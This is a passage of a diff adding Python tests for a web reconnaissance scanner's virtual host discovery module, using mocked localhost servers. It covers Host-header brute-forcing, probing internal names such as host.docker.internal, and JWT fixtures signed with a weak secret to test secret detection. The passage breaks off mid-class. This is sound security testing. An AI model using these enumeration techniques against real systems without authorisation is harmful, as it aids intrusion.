+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": False,  # Focus on special hosts only
+                "mutation_check": False,  # Focus on special hosts only
+                "special_hosts": True,  # Enable special hosts
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Keep request handler-based HTTP server
+        await super().setup_after_prep(module_test)
+
+        # Emit URL event manually and ensure resolved_hosts
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_special"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "http://localhost:8888/",
+                        "URL",
+                        parent=event,
+                        tags=["status-200", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_special"] = DummyModule(module_test.scan)
+
+        # Patch virtualhost to inject resolved_hosts
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to localhost (with or without port)
+        if not host_header or host_header in ["localhost", "localhost:8888"]:
+            return Response("baseline response from localhost", status=200)
+
+        # Wildcard canary check
+        if re.match(r"[a-z]ocalhost(?::8888)?$", host_header):
+            return Response("different wildcard response", status=404)
+
+        # Random canary requests (12 lowercase letters .com)
+        if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header):
+            return Response(
+                """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>Random canary host.</p></body></html>""",
+                status=404,
+            )
+
+        # Special hosts responses - return different content than canary
+        if host_header == "host.docker.internal":
+            return Response("Docker internal host active", status=200)
+        if host_header == "127.0.0.1":
+            return Response("Loopback host active", status=200)
+        if host_header == "localhost":
+            return Response("Localhost virtual host active", status=200)
+
+        # Default for any other requests - match canary content to avoid false positives
+        return Response(
+            """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>Random canary host.</p></body></html>""",
+            status=404,
+        )
+
+    def check(self, module_test, events):
+        special_hosts_found = set()
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                if vhost in ["host.docker.internal", "127.0.0.1", "localhost"]:
+                    special_hosts_found.add(vhost)
+
+                    # Test description elements to ensure they are as expected
+                    description = e.data["description"]
+                    assert (
+                        "Discovery Technique: [Special virtual host list" in description
+                        or "Discovery Technique: [Mutations on discovered" in description
+                    ), f"Description missing or unexpected discovery technique: {description}"
+                    assert "Status Code:" in description, f"Description missing status code: {description}"
+                    assert "Size:" in description and "bytes" in description, (
+                        f"Description missing size: {description}"
+                    )
+                    assert "IP: 127.0.0.1" in description, f"Description missing IP: {description}"
+                    assert "Access:" in description, f"Description missing access status: {description}"
+
+        assert len(special_hosts_found) >= 1, f"Failed to detect special virtual hosts. Found: {special_hosts_found}"
+
+
+class TestVirtualhostBruteForce(VirtualhostTestBase):
+    """Test subdomain brute-force detection using HTTP Host headers"""
+
+    targets = ["http://test.example:8888"]
+    modules_overrides = ["virtualhost"]  # Remove http, we'll manually create URL events
+    test_wordlist = ["admin", "api", "test"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "brute_wordlist": tempwordlist(test_wordlist),
+                "subdomain_brute": True,  # Enable brute force
+                "mutation_check": False,  # Focus on brute force only
+                "special_hosts": False,  # Focus on brute force only
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Call parent setup_after_prep to set up the HTTP server with request_handler
+        await super().setup_after_prep(module_test)
+
+        # Set up DNS mocking for test.example to resolve to 127.0.0.1
+        await module_test.mock_dns({"test.example": {"A": ["127.0.0.1"]}})
+
+        # Create a dummy module that will emit the URL event during the scan
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    # Create and emit URL event for virtualhost module to process
+                    url_event = self.scan.make_event(
+                        "http://test.example:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"]
+                    )
+                    await self.emit_event(url_event)
+
+        # Add the dummy module to the scan
+        dummy_module = DummyModule(module_test.scan)
+        module_test.scan.modules["dummy_module"] = dummy_module
+
+        # Patch virtualhost to inject resolved_hosts for URL events during the test
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        from werkzeug.wrappers import Response
+
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to test.example or example (with or without port)
+        if not host_header or host_header in ["test.example", "test.example:8888", "example", "example:8888"]:
+            return Response("baseline response from example baseline", status=200)
+
+        # Wildcard canary check - change one character in test.example
+        if re.match(r"[a-z]est\.example", host_header):
+            return Response("wildcard canary different response", status=404)
+
+        # Brute-force canary requests - random string + .test.example (with optional port)
+        if re.match(r"^[a-z]{12}\.test\.example(?::8888)?$", host_header):
+            return Response("subdomain canary response", status=404)
+
+        # Brute-force matches on discovered basehost (admin|api|test).test.example (with optional port)
+        if host_header in ["admin.test.example", "admin.test.example:8888"]:
+            return Response("Admin panel found here!", status=200)
+        if host_header in ["api.test.example", "api.test.example:8888"]:
+            return Response("API endpoint found here!", status=200)
+        if host_header in ["test.test.example", "test.test.example:8888"]:
+            return Response("Test environment found here!", status=200)
+
+        # Default response
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        brute_hosts_found = set()
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                if vhost in ["admin.test.example", "api.test.example", "test.test.example"]:
+                    brute_hosts_found.add(vhost)
+
+        assert len(brute_hosts_found) >= 1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}"
+
+
+class TestVirtualhostMutations(VirtualhostTestBase):
+    """Test host mutation detection using HTTP Host headers"""
+
+    targets = ["http://subdomain.target.test:8888"]
+    modules_overrides = ["http", "virtualhost"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": False,  # Focus on mutations only
+                "mutation_check": True,  # Enable mutations
+                "special_hosts": False,  # Focus on mutations only
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_before_prep(self, module_test):
+        # Call parent setup first
+        await super().setup_before_prep(module_test)
+
+        # Mock wordcloud.mutations to return predictable results for "target"
+        def mock_mutations(self, word, **kwargs):
+            # Return realistic mutations that would be found for "target"
+            return [
+                [word, "dev"],  # targetdev, target-dev
+                ["dev", word],  # devtarget, dev-target
+                [word, "test"],  # targettest, target-test
+            ]
+
+        module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations)
+
+    async def setup_after_prep(self, module_test):
+        # Keep request handler-based HTTP server
+        await super().setup_after_prep(module_test)
+
+        # Set up DNS mocking for target.test
+        await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}})
+
+        # Emit URL event manually and ensure resolved_hosts
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_mut"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "http://subdomain.target.test:8888/",
+                        "URL",
+                        parent=event,
+                        tags=["status-200", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_mut"] = DummyModule(module_test.scan)
+
+        # Patch virtualhost to inject resolved hosts
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to target.test (with or without port)
+        if not host_header or host_header in ["subdomain.target.test", "subdomain.target.test:8888"]:
+            return Response("baseline response from target.test", status=200)
+
+        # Wildcard canary check
+        if re.match(r"[a-z]subdomain\.target\.test(?::8888)?$", host_header):  # Modified target.test
+            return Response("wildcard canary response", status=404)
+
+        # Mutation canary requests (4 chars + dash + original host)
+        if re.match(r"^[a-z]{4}-subdomain\.target\.test(?::8888)?$", host_header):
+            return Response("<!DOCTYPE html><html><body>Mutation Canary</body></html>", status=404)
+
+        # Word cloud mutation matches - return different content than canary
+        if host_header == "subdomain-dev.target.test":
+            return Response("Dev target 1 found!", status=200)
+        if host_header == "devsubdomain.target.test":
+            return Response("Dev target 2 found!", status=200)
+        if host_header == "subdomaintest.target.test":
+            return Response("Test target found!", status=200)
+
+        # Default response
+        return Response(
+            """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>Default handler response.</p></body></html>""",
+            status=404,
+        )
+
+    def check(self, module_test, events):
+        mutation_hosts_found = set()
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                # Look for mutation patterns with dev/test
+                if any(word in vhost for word in ["dev", "test"]) and "target" in vhost:
+                    mutation_hosts_found.add(vhost)
+
+        assert len(mutation_hosts_found) >= 1, (
+            f"Failed to detect mutation virtual hosts. Found: {mutation_hosts_found}"
+        )
+
+
+class TestVirtualhostWordcloud(VirtualhostTestBase):
+    """Test finish() wordcloud-based detection using HTTP Host headers"""
+
+    targets = ["http://wordcloud.test:8888"]
+    modules_overrides = ["http", "virtualhost"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": False,  # Focus on wordcloud only
+                "mutation_check": False,  # Focus on wordcloud only
+                "special_hosts": False,  # Focus on wordcloud only
+                "certificate_sans": False,
+                "wordcloud_check": True,  # Enable wordcloud
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Keep request handler-based HTTP server
+        await super().setup_after_prep(module_test)
+
+        # Set up DNS mocking for wordcloud.test
+        await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}})
+
+        # Mock wordcloud to have some common words
+        def mock_wordcloud_keys(self):
+            return ["staging", "prod", "dev", "admin", "api"]
+
+        module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys)
+
+        # Emit URL event manually and ensure resolved_hosts
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_wc"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "http://wordcloud.test:8888/",
+                        "URL",
+                        parent=event,
+                        tags=["status-200", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_wc"] = DummyModule(module_test.scan)
+
+        # Patch virtualhost to inject resolved hosts
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to wordcloud.test (with or without port)
+        if not host_header or host_header in ["wordcloud.test", "wordcloud.test:8888"]:
+            return Response("baseline response from wordcloud.test", status=200)
+
+        # Wildcard canary check
+        if re.match(r"[a-z]ordcloud\.test(?::8888)?$", host_header):  # Modified wordcloud.test
+            return Response("wildcard canary response", status=404)
+
+        # Random canary requests (12 chars + .com)
+        if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header):
+            return Response("random canary response", status=404)
+
+        # Wordcloud-based matches - these are checked in finish()
+        if host_header in ["staging.wordcloud.test", "staging.wordcloud.test:8888"]:
+            return Response("Staging environment found!", status=200)
+        if host_header in ["prod.wordcloud.test", "prod.wordcloud.test:8888"]:
+            return Response("Production environment found!", status=200)
+        if host_header in ["dev.wordcloud.test", "dev.wordcloud.test:8888"]:
+            return Response("Development environment found!", status=200)
+
+        # Default response
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        wordcloud_hosts_found = set()
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                if vhost in ["staging.wordcloud.test", "prod.wordcloud.test", "dev.wordcloud.test"]:
+                    wordcloud_hosts_found.add(vhost)
+
+        assert len(wordcloud_hosts_found) >= 1, (
+            f"Failed to detect wordcloud virtual hosts. Found: {wordcloud_hosts_found}"
+        )
+
+
+class TestVirtualhostHTTPSLogic(ModuleTestBase):
+    """Unit tests for HTTPS/SNI-specific functions"""
+
+    targets = ["http://localhost:8888"]  # Minimal target for unit testing
+    modules_overrides = ["http", "virtualhost"]
+
+    async def setup_before_prep(self, module_test):
+        pass  # No special setup needed
+
+    async def setup_after_prep(self, module_test):
+        pass  # No HTTP mocking needed for unit tests
+
+    def check(self, module_test, events):
+        # Get the virtualhost module instance for direct testing
+        virtualhost_module = None
+        for module in module_test.scan.modules.values():
+            if hasattr(module, "special_virtualhost_list"):
+                virtualhost_module = module
+                break
+
+        assert virtualhost_module is not None, "Could not find virtualhost module instance"
+
+        # Test canary host generation for different modes
+        canary_subdomain = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "subdomain")
+        canary_mutation = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "mutation")
+        canary_random = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "random")
+
+        # Verify canary patterns
+        assert canary_subdomain.endswith(".example.com"), (
+            f"Subdomain canary doesn't end with basehost: {canary_subdomain}"
+        )
+        assert "-test.example.com" in canary_mutation, (
+            f"Mutation canary doesn't contain expected pattern: {canary_mutation}"
+        )
+        assert canary_random.endswith(".com"), f"Random canary doesn't end with .com: {canary_random}"
+
+        # Test that all canaries are different
+        assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different"
+
+
+class TestVirtualhostForceBasehost(VirtualhostTestBase):
+    """Test force_basehost functionality specifically"""
+
+    targets = ["http://127.0.0.1:8888"]  # Use IP to require force_basehost
+    modules_overrides = ["http", "virtualhost"]
+    test_wordlist = ["admin", "api"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "brute_wordlist": tempwordlist(test_wordlist),
+                "force_basehost": "forced.domain",  # Test force_basehost functionality
+                "subdomain_brute": True,
+                "mutation_check": False,
+                "special_hosts": False,
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to the IP
+        if not host_header or host_header == "127.0.0.1:8888":
+            return Response("baseline response from IP", status=200)
+
+        # Wildcard canary check
+        if re.match(r"[0-9]27\.0\.0\.1:8888", host_header):
+            return Response("wildcard canary response", status=404)
+
+        # Subdomain canary (12 random chars + .forced.domain)
+        if re.match(r"[a-z]{12}\.forced\.domain", host_header):
+            return Response("forced domain canary response", status=404)
+
+        # Virtual hosts using forced basehost
+        if host_header == "admin.forced.domain":
+            return Response("Admin with forced basehost found!", status=200)
+        if host_header == "api.forced.domain":
+            return Response("API with forced basehost found!", status=200)
+
+        # Default response
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        forced_hosts_found = set()
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                if vhost in ["admin.forced.domain", "api.forced.domain"]:
+                    forced_hosts_found.add(vhost)
+
+                    # Verify the description shows it used the forced basehost
+                    description = e.data["description"]
+                    assert "Subdomain Brute-force" in description, (
+                        f"Expected subdomain brute-force discovery: {description}"
+                    )
+
+        assert len(forced_hosts_found) >= 1, (
+            f"Failed to detect virtual hosts with force_basehost. Found: {forced_hosts_found}. "
+            f"Expected at least one of: admin.forced.domain, api.forced.domain"
+        )
+
+
+class TestVirtualhostInterestingDefaultContent(VirtualhostTestBase):
+    """Test reporting of interesting default canary content during wildcard check"""
+
+    targets = ["http://interesting.test:8888"]
+    modules_overrides = ["http", "virtualhost"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": False,
+                "mutation_check": False,
+                "special_hosts": False,
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "report_interesting_default_content": True,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Start HTTP server
+        await super().setup_after_prep(module_test)
+
+        # Mock DNS resolution for interesting.test
+        await module_test.mock_dns({"interesting.test": {"A": ["127.0.0.1"]}})
+
+        # Dummy module to emit the URL event for the virtualhost module
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_interesting"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "http://interesting.test:8888/",
+                        "URL",
+                        parent=event,
+                        tags=["status-404", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_interesting"] = DummyModule(module_test.scan)
+
+        # Patch virtualhost to inject resolved hosts
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline response for original host (ensure status differs from canary)
+        if not host_header or host_header in ["interesting.test", "interesting.test:8888"]:
+            return Response("baseline not found", status=404)
+
+        # Wildcard canary mutated hostname: change first alpha to 'z' -> znteresting.test
+        if host_header in ["znteresting.test", "znteresting.test:8888"]:
+            long_body = (
+                "This is a sufficiently long default page body that exceeds forty characters "
+                "to trigger the interesting default content branch."
+            )
+            return Response(long_body, status=200)
+
+        # Default
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        found_interesting = False
+        found_correct_host = False
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                desc = e.data.get("description", "")
+                if "Interesting Default Content (from intentionally-incorrect canary host)" in desc:
+                    found_interesting = True
+                    # The VIRTUAL_HOST should be the canary hostname used in the wildcard request
+                    if e.data.get("virtual_host") == "znteresting.test":
+                        found_correct_host = True
+                    break
+
+        assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted"
+        assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'"
+
+
+class TestVirtualhostKeywordWildcard(VirtualhostTestBase):
+    """Test keyword-based wildcard detection using 'www' in hostname"""
+
+    targets = ["http://acme.test:8888"]
+    modules_overrides = ["http", "virtualhost"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": True,
+                "mutation_check": False,
+                "special_hosts": False,
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+                # Keep brute_lines small and supply a tiny wordlist containing a 'www' entry and an exact match
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Start HTTP server with wildcard behavior for any hostname containing 'www'
+        await super().setup_after_prep(module_test)
+
+        # Mock DNS resolution for acme.test
+        await module_test.mock_dns({"acme.test": {"A": ["127.0.0.1"]}})
+
+        # Provide a tiny custom wordlist containing 'wwwfoo' and 'admin' so that:
+        # - 'wwwfoo' would be a false positive without the keyword-based wildcard detection
+        # - 'admin' will be an exact match we deliberately allow via the response handler
+        from .base import tempwordlist
+
+        words = ["wwwfoo", "admin"]
+        wl = tempwordlist(words)
+
+        # Patch virtualhost to use our custom wordlist and inject resolved hosts
+        vh_module = module_test.scan.modules["virtualhost"]
+        original_setup = vh_module.setup
+
+        async def patched_setup():
+            await original_setup()
+            vh_module.brute_wordlist = wl
+            return True
+
+        module_test.monkeypatch.setattr(vh_module, "setup", patched_setup)
+
+        # Emit URL event manually and ensure resolved_hosts
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_keyword"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "http://acme.test:8888/",
+                        "URL",
+                        parent=event,
+                        tags=["status-404", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_keyword"] = DummyModule(module_test.scan)
+
+        # Inject resolved hosts for the URL
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline response for original host
+        if not host_header or host_header in ["acme.test", "acme.test:8888"]:
+            return Response("baseline not found", status=404)
+
+        # If hostname contains 'www' anywhere, return the same body as baseline (simulating keyword wildcard)
+        if "www" in host_header:
+            return Response("baseline not found", status=404)
+
+        # Exact-match virtual host that should still be detected
+        if host_header in ["admin.acme.test", "admin.acme.test:8888"]:
+            return Response("Admin portal", status=200)
+
+        # Default
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        found_admin = False
+        found_www = False
+        for e in events:
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data.get("virtual_host")
+                if vhost == "admin.acme.test":
+                    found_admin = True
+                if vhost and "www" in vhost:
+                    found_www = True
+
+        assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted"
+        assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries"
+
+
+class TestVirtualhostHTTPResponse(VirtualhostTestBase):
+    """Test virtual host discovery with badsecrets analysis of HTTP_RESPONSE events"""
+
+    targets = ["http://secrets.test:8888"]
+    modules_overrides = ["virtualhost", "badsecrets"]
+    test_wordlist = ["admin"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "brute_wordlist": tempwordlist(test_wordlist),
+                "subdomain_brute": True,
+                "mutation_check": False,
+                "special_hosts": False,
+                "certificate_sans": False,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Call parent setup_after_prep to set up the HTTP server with request_handler
+        await super().setup_after_prep(module_test)
+
+        # Set up DNS mocking for secrets.test to resolve to 127.0.0.1
+        await module_test.mock_dns({"secrets.test": {"A": ["127.0.0.1"]}})
+
+        # Create a dummy module that will emit the URL event during the scan
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_secrets"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    # Create and emit URL event for virtualhost module to process
+                    url_event = self.scan.make_event(
+                        "http://secrets.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"]
+                    )
+                    await self.emit_event(url_event)
+
+        # Add the dummy module to the scan
+        dummy_module = DummyModule(module_test.scan)
+        module_test.scan.modules["dummy_module_secrets"] = dummy_module
+
+        # Patch virtualhost to inject resolved_hosts for URL events during the test
+        vh_module = module_test.scan.modules["virtualhost"]
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def request_handler(self, request):
+        from werkzeug.wrappers import Response
+
+        host_header = request.headers.get("Host", "").lower()
+
+        # Baseline request to secrets.test (with or without port)
+        if not host_header or host_header in ["secrets.test", "secrets.test:8888"]:
+            return Response("baseline response from secrets.test", status=200)
+
+        # Wildcard canary check - change one character in secrets.test
+        if re.match(r"[a-z]ecrets\.test", host_header):
+            return Response("wildcard canary different response", status=404)
+
+        # Brute-force canary requests - random string + .secrets.test (with optional port)
+        if re.match(r"^[a-z]{12}\.secrets\.test(?::8888)?$", host_header):
+            return Response("subdomain canary response", status=404)
+
+        # Virtual host with vulnerable JWT cookie and JWT in body - both using weak secret '1234' - this should trigger badsecrets twice
+        if host_header in ["admin.secrets.test", "admin.secrets.test:8888"]:
+            return Response(
+                "<html><body><p>Admin Panel</p><script>const session = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg';</script></body></html>",
+                status=200,
+                headers={
+                    "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure"
+                },
+            )
+
+        # Default response
+        return Response("default response", status=404)
+
+    def check(self, module_test, events):
+        virtual_host_found = False
+        http_response_found = False
+        jwt_cookie_vuln_found = False
+        jwt_body_vuln_found = False
+
+        # Debug: print all events to see what we're getting
+        print(f"\n=== DEBUG: Found {len(events)} events ===")
+        for e in events:
+            print(f"Event: {e.type} - {e.data}")
+            if hasattr(e, "tags"):
+                print(f"  Tags: {e.tags}")
+
+        for e in events:
+            # Check for virtual host discovery
+            if e.type == "VIRTUAL_HOST":
+                vhost = e.data["virtual_host"]
+                if vhost in ["admin.secrets.test"]:
+                    virtual_host_found = True
+                    # Verify it has the virtual-host tag
+                    assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}"
+
+            # Check for HTTP_RESPONSE with virtual-host tag
+            elif e.type == "HTTP_RESPONSE":
+                if "virtual-host" in e.tags:
+                    http_response_found = True
+                    # Verify the HTTP_RESPONSE has the expected format
+                    assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}"
+                    assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}"
+                    assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}"
+                    assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}"
+                    # Debug: print the response data to see what badsecrets is analyzing
+                    print(f"HTTP_RESPONSE data: {e.data}")
+
+            # Check for badsecrets findings
+            elif e.type == "FINDING":
+                print(f"Found FINDING event: {e.data}")
+                description = e.data["description"]
+
+                # Check for JWT vulnerability (from cookie)
+                if (
+                    "1234" in description
+                    and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo"
+                    in description
+                    and "JWT" in description
+                ):
+                    jwt_cookie_vuln_found = True
+
+                # Check for JWT vulnerability (from body)
+                if (
+                    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg"
+                    in description
+                    and "JWT" in description
+                ):
+                    jwt_body_vuln_found = True
+
+        assert virtual_host_found, "Failed to detect virtual host admin.secrets.test"
+        assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag"
+        assert jwt_cookie_vuln_found, (
+            "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found"
+        )
+        assert jwt_body_vuln_found, (
+            "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found"
+        )
+        print(
+            f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}"
+        )
+
+
+class TestVirtualhostCertificateSANs(VirtualhostTestBase):
+    """Exercise the certificate-SAN code path on HTTPS URL events."""
+
+    targets = ["https://localhost:9999"]
+    modules_overrides = ["virtualhost"]
+    config_overrides = {
+        "modules": {
+            "virtualhost": {
+                "subdomain_brute": False,
+                "mutation_check": False,
+                "special_hosts": False,
+                "certificate_sans": True,
+                "wordcloud_check": False,
+                "require_inaccessible": False,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        self.captured_san_arg = []
+
+        vh_module = module_test.scan.modules["virtualhost"]
